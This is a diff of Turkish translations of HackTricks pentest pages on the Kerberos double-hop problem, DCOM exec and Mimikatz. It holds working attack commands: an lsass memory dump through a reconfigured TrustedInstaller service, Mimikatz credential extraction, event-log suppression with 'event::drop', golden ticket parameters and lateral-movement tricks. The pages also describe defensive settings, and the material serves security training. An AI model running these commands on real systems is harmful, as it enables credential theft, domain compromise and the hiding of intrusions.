AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,46 +1,50 @@
# Kerberos Çift Atlama Sorunu
# Kerberos Double Hop Problemi
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR gönderin.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Giriş
Kerberos "Çift Atlama" sorunu, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak.
Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak.
Bir **kimlik doğrulaması** Kerberos üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte önbelleğe alınmaz**. Bu nedenle, mimikatz'ı çalıştırırsanız, kullanıcının makinedeki kimlik bilgilerini **bulamazsınız** bile o kullanıcı işlemler çalıştırıyorsa.
Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, mimikatz çalıştırırsanız, kullanıcı makinede işlem yürütsede **kimlik bilgilerini bulamazsınız.**
Bu, Kerberos ile bağlandığınızda şu adımların izlendiği için olur:
Bu, Kerberos ile bağlanırken izlenen adımlar nedeniyle olur:
1. Kullanıcı1 kimlik bilgilerini sağlar ve **alan denetleyicisi** Kullanıcı1'e bir Kerberos **TGT** döndürür.
2. Kullanıcı1, **TGT**'yi kullanarak **Server1'e bağlanmak** için bir **hizmet biletiği** isteğinde bulunur.
3. Kullanıcı1, **Server1'e bağlanır** ve **hizmet biletiğini sağlar**.
4. **Server1**, Kullanıcı1'in kimlik bilgilerini önbelleğe almaz veya Kullanıcı1'in **TGT**'sini bulundurmaz. Bu nedenle, Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, kimlik doğrulamasını **gerçekleştiremez**.
1. User1 kimlik bilgilerini sağlar ve **alan denetleyici** User1'e bir Kerberos **TGT** döner.
2. User1, **Server1**'e bağlanmak için bir **hizmet bileti** talep etmek üzere **TGT**'yi kullanır.
3. User1 **Server1**'e bağlanır ve **hizmet biletini** sağlar.
4. **Server1**, User1'in kimlik bilgilerini veya User1'in **TGT**'sini önbelleğe almaz. Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.**
### Kısıtlanmamış Delege
### Sınırsız Delegasyon
Eğer PC'de **kısıtlanmamış delege** etkinse, bu olmaz çünkü **Sunucu**, ona erişen her kullanıcının bir **TGT'sini alır**. Dahası, kısıtlanmamış delege kullanılıyorsa muhtemelen **Etki Alanı Denetleyicisini tehlikeye atabilirsiniz**.\
[Kısıtlanmamış delege sayfasında daha fazla bilgi](unconstrained-delegation.md).
Eğer PC'de **sınırsız delegasyon** etkinse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır**. Ayrıca, sınırsız delegasyon kullanılıyorsa, muhtemelen **Alan Denetleyicisini** ele geçirebilirsiniz.\
[**Sınırsız delegasyon sayfasında daha fazla bilgi**](unconstrained-delegation.md).
### CredSSP
Bu sorunu önlemenin başka bir yolu da [**önemli derecede güvensiz olan**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Kimlik Güvenlik Destek Sağlayıcısı**'dır. Microsoft'tan:
Bu problemi önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Kimlik Bilgisi Güvenlik Destek Sağlayıcısı**dır. Microsoft'tan:
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye atıldığında, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar ele geçirilirse, kimlik bilgileri ona iletildiğinde, bu kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
**CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda güvenlik endişeleri nedeniyle devre dışı bırakılması kesinlikle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve hatta **WinRM** etkinse uzaktan çalıştırılabilir.
Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan bile çalıştırılabilir.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -48,48 +52,50 @@ Get-WSManCredSSP
```
## Çözümler
### Komut Çağırma
### Invoke Command
Çift atlama sorununu ele almak için, iç içe geçmiş bir `Invoke-Command` yöntemi sunulmaktadır. Bu doğrudan sorunu çözmez ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, bir komutu (`hostname`) başlangıç saldıran makineden yürütülen bir PowerShell komutu veya önceden kurulmuş bir PS-Session aracılığıyla ilk sunucuyla ikincil bir sunucuda yürütülmesine izin verir. İşte nasıl yapılır:
Çift sıçrama sorununu ele almak için, iç içe bir `Invoke-Command` yöntemi sunulmaktadır. Bu, sorunu doğrudan çözmez, ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, bir komutun (`hostname`) birincil saldırı makinesinden veya ilk sunucu ile daha önce kurulmuş bir PS-Session aracılığıyla bir ikincil sunucuda çalıştırılmasına olanak tanır. İşte nasıl yapıldığı:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Kayıt PSSession Yapılandırması
Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezi hale getirmek için önerilmektedir.
Çift atlama sorununu atlamak için bir çözüm, `Register-PSSessionConfiguration`'ı `Enter-PSSession` ile kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar.
### PSSession Yapılandırmasını Kaydet
Çift sıçrama sorununu aşmanın bir çözümü, `Enter-PSSession` ile `Register-PSSessionConfiguration` kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift sıçrama kısıtlamasından etkilenmeyen bir oturum sağlar.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### Port Yönlendirme
### PortForwarding
Ara bir hedef üzerindeki yerel yöneticiler için, port yönlendirme isteklerin bir son sunucuya gönderilmesine izin verir. `netsh` kullanılarak, bir port yönlendirme kuralı eklenir ve yönlendirilen portu izin veren bir Windows güvenlik duvarı kuralı eklenir.
Yerel yöneticiler için bir ara hedefte, port yönlendirme, isteklerin nihai bir sunucuya gönderilmesine olanak tanır. `netsh` kullanarak, yönlendirilmiş portu izin vermek için bir Windows güvenlik duvarı kuralının yanı sıra port yönlendirme için bir kural eklenebilir.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe`, PowerShell izleme endişesi varsa daha az algılanabilir bir seçenek olarak WinRM isteklerini iletmek için kullanılabilir. Aşağıdaki komut kullanımını göstermektedir:
`winrs.exe`, PowerShell izleme bir endişe ise daha az tespit edilebilir bir seçenek olarak WinRM isteklerini iletmek için kullanılabilir. Aşağıdaki komut, kullanımını göstermektedir:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
İlk sunucuya OpenSSH kurmak, özellikle jump box senaryoları için kullanışlı olan çift atlama sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI kurulumunu ve yapılandırmasını gerektirir. Parola Kimliği Doğrulaması için yapılandırıldığında, bu, aracı sunucunun kullanıcı adına bir TGT almasına izin verir.
İlk sunucuya OpenSSH yüklemek, özellikle jump box senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Parola Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır.
#### OpenSSH Kurulum Adımları
#### OpenSSH Yükleme Adımları
1. En son OpenSSH sürümünü indirin ve zip dosyasını hedef sunucuya taşıyın.
1. En son OpenSSH sürüm zip dosyasını indirin ve hedef sunucuya taşıyın.
2. Zip dosyasınıın ve `Install-sshd.ps1` betiğini çalıştırın.
3. Port 22'yi açmak için bir güvenlik duvarı kuralı ekleyin ve SSH hizmetlerinin çalıştığını doğrulayın.
`Bağlantı sıfırlandı` hatalarını çözmek için, izinlerin OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek için güncellenmesi gerekebilir.
`Connection reset` hatalarını çözmek için, OpenSSH dizininde herkesin okuma ve yürütme erişimine izin vermek üzere izinlerin güncellenmesi gerekebilir.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
@ -104,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **<strong>**cybersecurity şirketinde mi çalışıyorsunuz**? **HackTricks'te şirketinizi reklamda görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks swag'ını alın**](https://peass.creator-spring.com)
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın veya** [**telegram grubuna**](https://t.me/peass) **katılın veya beni Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı göndererek HackTricks ve hacktricks-cloud depolarına PR göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong> sıfırdan kahramana AWS hacking öğrenin </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **şirketinizin HackTricks'te reklamını görmek** mi istiyorsunuz? veya **PEASS'in en son sürümüne erişim** mi istiyorsunuz ya da HackTricks'i **PDF olarak indirmek** mi istiyorsunuz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**PEASS Ailesini**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizin**](https://opensea.io/collection/the-peass-family) koleksiyonu
* [**resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bana** **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarınızı paylaşın,** [**hacktricks repo'suna**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo'suna**](https://github.com/carlospolop/hacktricks-cloud) **PR göndererek.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,9 +25,9 @@
## MMC20.Application
**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) adresindeki orijinal gönderiyi kontrol edin.**
**Bu teknik hakkında daha fazla bilgi için [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) orijinal gönderisini kontrol edin.**
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar, [DCOM için buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve [COM için buradan](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir:
Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, nesnelerle ağ tabanlı etkileşimler için ilginç bir yetenek sunar. Microsoft, hem DCOM hem de Bileşen Nesne Modeli (COM) için kapsamlı belgeler sağlar; DCOM için [buradan](https://msdn.microsoft.com/en-us/library/cc226801.aspx) ve COM için [buradan](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) erişilebilir. DCOM uygulamalarının bir listesi PowerShell komutu kullanılarak alınabilir:
```bash
Get-CimInstance Win32_DCOMApplication
```

View file

@ -1,39 +1,42 @@
# Mimikatz
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Bu sayfa [adsecurity.org](https://adsecurity.org/?page\_id=1821)**'den alınmıştır. Daha fazla bilgi için orijinal sayfaya bakın!
**Bu sayfa [adsecurity.org](https://adsecurity.org/?page\_id=1821) sayfasına dayanmaktadır**. Daha fazla bilgi için orijinalini kontrol edin!
## Bellekte LM ve Açık Metin
## LM ve Bellekte Düz Metin
Windows 8.1 ve Windows Server 2012 R2'den itibaren, kimlik bilgilerinin çalınmasına karşı önemli önlemler alınmıştır:
Windows 8.1 ve Windows Server 2012 R2'den itibaren, kimlik bilgisi hırsızlığına karşı önemli önlemler alınmıştır:
- **LM hash'leri ve ık metin parolaları**, güvenliği artırmak için artık bellekte depolanmamaktadır. "Açık metin" parolalarının LSASS'ta önbelleğe alınmamasını sağlamak için belirli bir kayıt defteri ayarı olan _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ DWORD değeri `0` olarak yapılandırılmalıdır.
- **LM hash'leri ve düz metin şifreleri** artık güvenliği artırmak için bellekte saklanmamaktadır. "clear-text" şifrelerin LSASS'te önbelleğe alınmamasını sağlamak için _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ kayıt defteri ayarının `0` DWORD değeri ile yapılandırılması gerekmektedir.
- **LSA Koruma**, Yerel Güvenlik Otoritesi (LSA) işlemini yetkisiz bellek okuması ve kod enjeksiyonundan korumak için tanıtılmıştır. Bu, LSASS'ı korunan bir işlem olarak işaretleyerek gerçekleştirilir. LSA Koruma'nın etkinleştirilmesi şunları içerir:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kayıt defterinin `RunAsPPL` değerini `dword:00000001` olarak ayarlamak.
2. Bu kayıt defteri değişikliğini yönetilen cihazlar üzerinde zorunlu kılan bir Grup İlkesi Nesnesi (GPO) uygulamak.
- **LSA Koruması**, Yerel Güvenlik Otoritesi (LSA) sürecini yetkisiz bellek okuma ve kod enjeksiyonuna karşı korumak için tanıtılmıştır. Bu, LSASS'in korunan bir süreç olarak işaretlenmesiyle sağlanır. LSA Korumasının etkinleştirilmesi şunları içerir:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kayıt defterini `RunAsPPL` değerini `dword:00000001` olarak ayarlayarak değiştirmek.
2. Bu kayıt defteri değişikliğini yönetilen cihazlar arasında zorunlu kılan bir Grup Politika Nesnesi (GPO) uygulamak.
Bu korumalara rağmen, Mimikatz gibi araçlar, belirli sürücüler kullanarak LSA Koruma'yı atlayabilir, ancak bu tür eylemler olay günlüklerinde kaydedilebilir.
Bu korumalara rağmen, Mimikatz gibi araçlar belirli sürücüleri kullanarak LSA Korumasını aşabilir, ancak bu tür eylemlerin olay günlüklerinde kaydedilmesi muhtemeldir.
### SeDebugPrivilege Kaldırmasına Karşı Önlem Alma
### SeDebugPrivilege Kaldırma ile Mücadele
Yöneticiler genellikle programları hata ayıklamak için SeDebugPrivilege'a sahiptir. Bu ayrıcalık, yetkisiz bellek dökümlerini önlemek için kısıtlanabilir, saldırganların bellekten kimlik bilgilerini çıkarmak için kullandığı yaygın bir tekniktir. Bununla birlikte, bu ayrıcalık kaldırılsa bile, TrustedInstaller hesabı özel bir hizmet yapılandırması kullanarak hafıza dökümleri yapabilir:
Yönetici kullanıcılar genellikle programları hata ayıklama yeteneği veren SeDebugPrivilege'e sahiptir. Bu ayrıcalık, yetkisiz bellek dökümünü önlemek için kısıtlanabilir; bu, saldırganların bellekten kimlik bilgilerini çıkarmak için kullandığı yaygın bir tekniktir. Ancak, bu ayrıcalık kaldırıldığında bile, TrustedInstaller hesabı özelleştirilmiş bir hizmet yapılandırması kullanarak bellek dökümleri gerçekleştirebilir:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Bu, `lsass.exe` belleğinin bir dosyaya dökülmesine olanak sağlar. Bu dosya daha sonra başka bir sistemde analiz edilerek kimlik bilgileri çıkarılabilir:
Bu, `lsass.exe` belleğinin bir dosyaya dökülmesini sağlar; bu dosya daha sonra başka bir sistemde analiz edilerek kimlik bilgileri çıkarılabilir:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
@ -41,34 +44,34 @@ Bu, `lsass.exe` belleğinin bir dosyaya dökülmesine olanak sağlar. Bu dosya d
```
## Mimikatz Seçenekleri
Mimikatz'ta olay günlüğü manipülasyonu iki temel eylemi içerir: olay günlüklerini temizleme ve olay hizmetini yamalama (yeni olayların kaydedilmesini engellemek için). Aşağıda, bu eylemleri gerçekleştirmek için kullanılan komutlar bulunmaktadır:
Mimikatz'ta olay günlüğü manipülasyonu iki ana eylemi içerir: olay günlüklerini temizleme ve yeni olayların kaydedilmesini önlemek için Olay hizmetini yamanma. Aşağıda bu eylemleri gerçekleştirmek için komutlar bulunmaktadır:
#### Olay Günlüklerini Temizleme
- **Komut**: Bu eylem, kötü niyetli faaliyetleri izlemeyi zorlaştırmak için olay günlüklerini silmeyi amaçlar.
- Mimikatz, standart belgelerinde olay günlüklerini doğrudan komut satırı aracılığıyla temizlemek için doğrudan bir komut sağlamaz. Bununla birlikte, olay günlüğü manipülasyonu genellikle belirli günlükleri temizlemek için Mimikatz dışında sistem araçları veya komut dosyaları kullanmayı içerir (örneğin, PowerShell veya Windows Olay Görüntüleyici kullanarak).
- **Komut**: Bu eylem, olay günlüklerini silmeyi amaçlar, böylece kötü niyetli faaliyetleri takip etmeyi zorlaştırır.
- Mimikatz, standart belgelerinde olay günlüklerini doğrudan komut satırı aracılığıyla temizlemek için doğrudan bir komut sağlamaz. Ancak, olay günlüğü manipülasyonu genellikle belirli günlükleri temizlemek için Mimikatz dışında sistem araçları veya betikler kullanmayı içerir (örneğin, PowerShell veya Windows Olay Görüntüleyici kullanarak).
#### Deneysel Özellik: Olay Hizmetini Yamalama
#### Deneysel Özellik: Olay Hizmetini Yamama
- **Komut**: `event::drop`
- Bu deneysel komut, Olay Günlüğü Hizmeti'nin davranışını değiştirmek için tasarlanmıştır ve yeni olayların kaydedilmesini etkili bir şekilde engeller.
- Bu deneysel komut, Olay Günlüğü Hizmeti'nin davranışını değiştirmek için tasarlanmıştır ve etkili bir şekilde yeni olayların kaydedilmesini önler.
- Örnek: `mimikatz "privilege::debug" "event::drop" exit`
- `privilege::debug` komutu, Mimikatz'ın sistem hizmetlerini değiştirmek için gerekli ayrıcalıklarla çalışmasını sağlar.
- `event::drop` komutu, Olay Günlüğü hizmetini yamar.
- `event::drop` komutu daha sonra Olay Günlüğü hizmetini yamalar.
### Kerberos Bilet Saldırıları
### Golden Bilet Oluşturma
### Altın Bilet Oluşturma
Golden Bilet, etki alanı genelinde erişim taklitine izin verir. Ana komut ve parametreler:
Bir Altın Bilet, alan genelinde erişim taklidi yapmayı sağlar. Ana komut ve parametreler:
- Komut: `kerberos::golden`
- Parametreler:
- `/domain`: Etki alanı adı.
- `/sid`: Etki alanının Güvenlik Tanımlayıcısı (SID).
- `/domain`: Alan adı.
- `/sid`: Alanın Güvenlik Tanımlayıcısı (SID).
- `/user`: Taklit edilecek kullanıcı adı.
- `/krbtgt`: Etki alanının KDC hizmet hesabının NTLM karması.
- `/krbtgt`: Alanın KDC hizmet hesabının NTLM hash'i.
